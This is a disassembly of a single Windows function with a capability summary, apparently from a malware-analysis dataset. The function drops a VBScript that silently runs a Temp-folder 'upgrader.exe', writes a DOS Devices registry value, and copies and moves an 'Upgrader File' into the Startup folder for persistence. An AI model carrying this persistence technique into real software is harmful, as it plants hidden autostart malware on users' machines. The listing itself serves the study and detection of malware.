Function at 0x14000e704
Capabilities:
Check if file exists
Copy file
Move file
Set registry value

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
lea rbp, [rax - 0x2b8]
sub rsp, 0x3a0
mov qword [rbp + 0x160], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov r12d, 7
mov qword [rbp + 0x60], r12
xor ebx, ebx
mov qword [rbp + 0x58], rbx
mov word [rbp + 0x48], bx
lea r8d, [r12 + 0x2c]
lea rdx, str.C:WindowsTempd4692ad9340bb21c9d802c9cbdea062d.jm
lea rcx, [rbp + 0x48]
call fcn.14000bdec
nop
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x48], rbx
mov word [rbp - 0x58], bx
lea r8d, [r12 + 0x5b]
lea rdx, str.set_wsWScript.CreateObject__WScript.Shell___nws.Run___HomePath_AppDataLocalTempupgrader.exe__0
lea rcx, [rbp - 0x58]
call fcn.14000bdec
nop
mov dword [rsp + 0x20], 1
lea r9d, [r12 + 0x39]
lea r8d, [r12 - 5]
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x190]
call fcn.14000de7c
nop
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x190]
call fcn.14000c1b8
lea rcx, [rbp + 0x198]
call fcn.14000d444
test rax, rax
jne 0x14000e7e9
mov rax, qword [rbp + 0x190]
movsxd rcx, dword [rax + 4]
lea rcx, [rbp + rcx + 0x190]
mov edx, dword [rcx + 0x10]
or edx, 2
mov eax, edx
or eax, 4
cmp qword [rcx + 0x48], rbx
cmove edx, eax
xor r8d, r8d
call fcn.140002dac
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rbx
mov word [rsp + 0x30], bx
mov r8d, 2
lea rdx, [0x140041ac4]
lea rcx, [rsp + 0x30]
call fcn.14000bdec
nop
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x68], rbx
mov word [rsp + 0x58], bx
mov r8d, 0x1b
lea rdx, str.iodealticd_Upgrader_File.jm
lea rcx, [rsp + 0x58]
call fcn.14000bdec
nop
lea rcx, str.APPDATA
call fcn.140024a94
mov rdx, rax
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x70], rbx
mov word [rbp - 0x80], bx
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp - 0x80]
call fcn.14000bdec
nop
lea r8, str.MicrosoftWindowsStart_MenuPrograms
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x30]
call fcn.14000e3cc
nop
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 8]
call fcn.14000e4a8
mov esi, 8
cmp qword [rax + 0x18], rsi
jb 0x14000e8a5
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov edi, eax
cmp qword [rbp + 0x10], rsi
jb 0x14000e8bf
mov rcx, qword [rbp - 8]
call fcn.140020df4
test edi, edi
je 0x14000e96a
cmp qword [rbp - 0x18], rsi
jb 0x14000e8d6
mov rcx, qword [rbp - 0x30]
call fcn.140020df4
mov qword [rbp - 0x18], r12
mov qword [rbp - 0x20], rbx
mov word [rbp - 0x30], bx
cmp qword [rbp - 0x68], rsi
jb 0x14000e8f1
mov rcx, qword [rbp - 0x80]
call fcn.140020df4
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x70], rbx
mov word [rbp - 0x80], bx
cmp qword [rsp + 0x70], rsi
jb 0x14000e90e
mov rcx, qword [rsp + 0x58]
call fcn.140020df4
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x68], rbx
mov word [rsp + 0x58], bx
cmp qword [rsp + 0x48], rsi
jb 0x14000e92e
mov rcx, qword [rsp + 0x30]
call fcn.140020df4
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rbx
mov word [rsp + 0x30], bx
lea rcx, [rbp + 0x190]
call fcn.14000e25c
nop
cmp qword [rbp - 0x40], rsi
jb 0x14000e959
mov rcx, qword [rbp - 0x58]
call fcn.140020df4
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x48], rbx
mov word [rbp - 0x58], bx
jmp 0x14000ee8c
lea r8, [0x140041c48]
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 8]
call fcn.14000e3cc
nop
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.14000e568
cmp qword [rax + 0x18], rsi
jb 0x14000e999
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov edi, eax
cmp qword [rbp + 0x88], rsi
jb 0x14000e9b6
mov rcx, qword [rbp + 0x70]
call fcn.140020df4
mov qword [rbp + 0x88], r12
mov qword [rbp + 0x80], rbx
mov word [rbp + 0x70], bx
cmp qword [rbp + 0x10], rsi
jb 0x14000e9d7
mov rcx, qword [rbp - 8]
call fcn.140020df4
test edi, edi
je 0x14000ea82
cmp qword [rbp - 0x18], rsi
jb 0x14000e9ee
mov rcx, qword [rbp - 0x30]
call fcn.140020df4
mov qword [rbp - 0x18], r12
mov qword [rbp - 0x20], rbx
mov word [rbp - 0x30], bx
cmp qword [rbp - 0x68], rsi
jb 0x14000ea09
mov rcx, qword [rbp - 0x80]
call fcn.140020df4
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x70], rbx
mov word [rbp - 0x80], bx
cmp qword [rsp + 0x70], rsi
jb 0x14000ea26
mov rcx, qword [rsp + 0x58]
call fcn.140020df4
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x68], rbx
mov word [rsp + 0x58], bx
cmp qword [rsp + 0x48], rsi
jb 0x14000ea46
mov rcx, qword [rsp + 0x30]
call fcn.140020df4
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rbx
mov word [rsp + 0x30], bx
lea rcx, [rbp + 0x190]
call fcn.14000e25c
nop
cmp qword [rbp - 0x40], rsi
jb 0x14000ea71
mov rcx, qword [rbp - 0x58]
call fcn.140020df4
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x48], rbx
mov word [rbp - 0x58], bx
jmp 0x14000ee8c
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x30], rbx
mov word [rbp + 0x20], bx
mov r8d, 4
lea rdx, str.___
lea rcx, [rbp + 0x20]
call fcn.14000bdec
nop
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x20]
call fcn.140001e68
lea rdx, [rbp + 0x2c0]
mov qword [rsp + 0x20], rdx
mov r9d, 2
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlSession_ManagerDOS_Devices
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], rsi
cmovae rcx, qword [rbp + 0x20]
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], rsi
cmovae rdx, qword [rsp + 0x30]
mov eax, dword [rbp + 0x30]
lea eax, [rax + rax + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rbp + 0x2c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x2c0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rsp + 0x30]
lea rdx, [0x140041d48]
lea rcx, [rbp + 0x138]
call fcn.14000e5bc
nop
lea r8, [0x140041d3c]
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.14000e698
nop
lea r8, [rbp - 0x30]
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.14000e568
nop
lea r8, [0x140041a54]
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.14000e698
nop
cmp qword [rbp + 0x88], rsi
jb 0x14000eb9c
mov rcx, qword [rbp + 0x70]
call fcn.140020df4
mov qword [rbp + 0x88], r12
mov qword [rbp + 0x80], rbx
mov word [rbp + 0x70], bx
cmp qword [rbp + 0x128], rsi
jb 0x14000ebc3
mov rcx, qword [rbp + 0x110]
call fcn.140020df4
mov qword [rbp + 0x128], r12
mov qword [rbp + 0x120], rbx
mov word [rbp + 0x110], bx
cmp qword [rbp + 0x150], rsi
jb 0x14000ebed
mov rcx, qword [rbp + 0x138]
call fcn.140020df4
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x148], rbx
mov word [rbp + 0x138], bx
lea rcx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], rsi
cmovae rcx, qword [rbp + 0xc0]
call fcn.1400248d0
lea r8, [0x140041a64]
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 8]
call fcn.14000e3cc
nop
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.14000e568
cmp qword [rax + 0x18], rsi
jb 0x14000ec4f
mov rax, qword [rax]
lea rcx, [rbp + 0x48]
cmp qword [rbp + 0x60], rsi
cmovae rcx, qword [rbp + 0x48]
xor r8d, r8d
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
cmp qword [rbp + 0xb0], rsi
jb 0x14000ec7d
mov rcx, qword [rbp + 0x98]
call fcn.140020df4
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xa8], rbx
mov word [rbp + 0x98], bx
cmp qword [rbp + 0x10], rsi
jb 0x14000eca1
mov rcx, qword [rbp - 8]
call fcn.140020df4
lea r8, str.Startup_
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x168]
call fcn.14000e3cc
nop
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp - 8]
call fcn.14000e568
mov rdi, rax
lea r8, [0x140041a74]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0xe8]
call fcn.14000e3cc
nop
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.14000e568
cmp qword [rdi + 0x18], rsi
jb 0x14000ed04
mov rdi, qword [rdi]
cmp qword [rax + 0x18], rsi
jb 0x14000ed0d
mov rax, qword [rax]
mov r8d, 4
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
cmp qword [rbp + 0xb0], rsi
jb 0x14000ed34
mov rcx, qword [rbp + 0x98]
call fcn.140020df4
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xa8], rbx
mov word [rbp + 0x98], bx
cmp qword [rbp + 0x100], rsi
jb 0x14000ed5e
mov rcx, qword [rbp + 0xe8]
call fcn.140020df4
mov qword [rbp + 0x100], r12
mov qword [rbp + 0xf8], rbx
mov word [rbp + 0xe8], bx
cmp qword [rbp + 0x10], rsi
jb 0x14000ed82
mov rcx, qword [rbp - 8]
call fcn.140020df4
mov qword [rbp + 0x10], r12
mov qword [rbp + 8], rbx
mov word [rbp - 8], bx
cmp qword [rbp + 0x180], rsi
jb 0x14000eda3
mov rcx, qword [rbp + 0x168]
call fcn.140020df4
call fcn.140008214
nop
cmp qword [rbp + 0xd8], rsi
jb 0x14000edbe
mov rcx, qword [rbp + 0xc0]
call fcn.140020df4
mov qword [rbp + 0xd8], r12
mov qword [rbp + 0xd0], rbx
mov word [rbp + 0xc0], bx
cmp qword [rbp + 0x38], rsi
jb 0x14000ede2
mov rcx, qword [rbp + 0x20]
call fcn.140020df4
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x30], rbx
mov word [rbp + 0x20], bx
cmp qword [rbp - 0x18], rsi
jb 0x14000edfd
mov rcx, qword [rbp - 0x30]
call fcn.140020df4
mov qword [rbp - 0x18], r12
mov qword [rbp - 0x20], rbx
mov word [rbp - 0x30], bx
cmp qword [rbp - 0x68], rsi
jb 0x14000ee18
mov rcx, qword [rbp - 0x80]
call fcn.140020df4
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x70], rbx
mov word [rbp - 0x80], bx
cmp qword [rsp + 0x70], rsi
jb 0x14000ee35
mov rcx, qword [rsp + 0x58]
call fcn.140020df4
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x68], rbx
mov word [rsp + 0x58], bx
cmp qword [rsp + 0x48], rsi
jb 0x14000ee55
mov rcx, qword [rsp + 0x30]
call fcn.140020df4
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rbx
mov word [rsp + 0x30], bx
lea rcx, [rbp + 0x190]
call fcn.14000e25c
nop
cmp qword [rbp - 0x40], rsi
jb 0x14000ee80
mov rcx, qword [rbp - 0x58]
call fcn.140020df4
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x48], rbx
mov word [rbp - 0x58], bx
cmp qword [rbp + 0x60], rsi
jb 0x14000ee9b
mov rcx, qword [rbp + 0x48]
call fcn.140020df4
lea r11, [rsp + 0x3a0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret